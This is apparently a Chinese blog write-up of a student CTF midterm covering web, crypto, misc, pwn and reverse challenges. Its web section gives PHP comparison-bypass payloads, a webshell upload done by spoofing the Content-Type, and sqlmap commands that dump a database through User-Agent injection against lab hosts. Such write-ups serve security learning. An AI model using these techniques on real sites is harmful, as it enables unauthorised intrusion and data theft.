2024云曦期中考(部分复现)

目录

一、Web

Web_SINGIN

好玩的PHP

渗透的本质

简简单单的文件上传

简简单单的sql

​编辑

二、Crypto

Crypto_Singin

easy_rsa

三、Misc

easy_singin

Xjpg

四、Pwn

pwn_Sing

五、Reverse

babyre

easy xor


一、Web

Web_SINGIN

F12代码中就有flag,base64解码

好玩的PHP

GET传参a,b,c,d

当a的值不等于b的值,但它们的MD5值相等(==弱比较   可用数组、0e绕过)

且c=d=flag.php时(===强比较    使用date://协议)返回flag.php

构造payload:

?a[]=1&b[]=2&c=flag.php&d=data://text/plain,flag.php

?a=s214587387a&b=s1091221200a&c=flag.php&d=data://text/plain,flag.php

源代码中得到flag

渗透的本质

下载robots.txt字典附件,使用dirsearch扫描指定字典

python dirsearch.py -u 网址 -e php,html -w 字典路径

python dirsearch.py -u http://172.16.17.6:7402/ -e php,html -w E:\robots.txt

得到状态码为200的/index.phps目录

 访问index.php

 得到一个PHP代码

GET传参id=admin,当$_GET[id] = urldecode($_GET[id])时返回flag。

即条件为 id=admin(urldecode解码后)

使用bp编码器,url编码两次admin,GET传参即可得到flag。

为什么要进行两次编码?

在网页上输入网址位置也会进行一次ur解码     代码中一次ur解码+网页自带一次ur解码=2次url解码。

简简单单的文件上传

先上传一句话木马的PHP文件,得到提示Content-Type为 image/haha

再上传一句话木马文件,bp抓包改 Content-Type为 image/haha

上传成功后,连接蚁剑在www目录下得到flag

简简单单的sql

打开环境什么都没有,先用dirsearch扫描,发现状态码为200的login.php目录

访问,发现注入点

用sqlmap自动爆数据库

sqlmap -u http://172.16.17.6:8304/login.php --level 3 --dbs --batch

发现是UA头注入

爆数据表(在challenges里面)

sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges --tables --batch

爆user_agents中的数据列

sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges -T user_agents --columns --batch

爆出user_agent中的40字段,得到flag

sqlmap -u http://172.16.17.6:8304/login.php --level 3 -D challenges -T user_agents -C user_agent --dump --batch

二、Crypto

Crypto_Singin

下载附件,\u0062\u0032\u0036是一种Unicode编码形式

Unicode编码:用于表示字符串中的特定字符。

在线编码转换工具程序员开发编码转换

CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换

转为十六进制编码

十六进制编码中,每个字符表示一个数字或字母,范围从0到9以及A到F(其中A代表10,B代表11,依此类推直到F代表15)。

转为HTML实体编码

HTML实体编码:                                 &#name;

  • “<”表示小于号“<”
  • “>”表示大于号“>”
  • “&”表示与符号“&”
  • “"”表示双引号“”
  • “'”表示单引号‘’
  • “ ”表示不换行空格
  • “¡”表示¡(西班牙语感叹号)
  • “£”表示£(英镑符号)
  • “¥”表示¥(日元符号)
  • “¢”表示¢(美分符号)
  • “€”表示€(欧元符号)

 转为base64编码

base64解码,得到flag

easy_rsa

打开附件,发现题目给了n,e,c求m

在线网站,分解n

factordb.com

找到大佬的脚本,得出flag

from Crypto.Util.number import *
import gmpy2
 
p=782758164865345954251810941
q=810971978554706690040814093
p2=1108609086364627583447802163
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
phi=(p-1)*(q-1)*(p2-1)
d=gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

下载Crypto.Util.number库:GitHub - Legrandin/pycryptodome: A self-contained cryptographic library for Python

安装

 pip --default-timeout=100 install pycryptodome

三、Misc

easy_singin

核心价值观解码得flag

Xjpg

Kali安装JDK1.8和切换JDK版本_kali切换java版本-CSDN博客 

Linux系统安装JDK1.8 详细流程_电信用户行为分析本实验需要在linux系统环境下完成以下任务: (1)安装jdk; (2)安装-CSDN博客

安装F5-steganography和使用,及解决java环境版本报错问题-CSDN博客

git clone https://github.com/matthewgao/F5-steganography

在F5-steganography下执行命令:

java Extract 图片的绝对路径.jpg

即可解密图片到output.txt文件中,打开output.txt查看。

pk头,把文件改为.zip形式,解压后查看文本。

 Brainfuck解码得flag。

四、Pwn

pwn_Sing

3.nc在PWN中的使用_pwn nc-CSDN博客

nc(netcat):建立和监听任意TCP和UDP连接,可用来网络调试、端口扫描等。

网络调试(测试端口号能否连接):

nc -z 主机的IP、域名、端口号

//告诉netcat 用户不想发送数据给主机,nc不用等待用户输入

nc -v 主机的IP、域名、端口号

//告诉netcat输出详细的交互过程

在kali nc连接

五、Reverse

babyre

下载附件,查看知其为32位

用32位IDA查看,在十六进制窗口Hex view中得到flag

easy xor

xor(异或):按位比较,位相同(0,0或1,1)时,结果为0,位不同时(0,1或1,0)结果为1

下载附件,加后缀.exe。64位,无壳

指定位置Ctrl+X

F5反汇编代码

 qmemcpy函数将字符串"a7shw9o10e63nfi19dk"复制到v3数组中

经过一些操作后,v2数组包含了以下字符:

'I''G' 'd' '$' '3' 'STX' 'a' 'Q' ';' '5' '^' 'c' 'd' 'SUB' 't' 'US' 'M' '`' 'ESC' 'i'

//'STX'表示'Start of Text'控制字符,'SUB'表示'Substitute'控制字符,'US'表示'Unit Separator'控制字符。这些都是ASCII控制字符的名称

找师姐要的脚本,逆向解密得到flag

  • 29
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值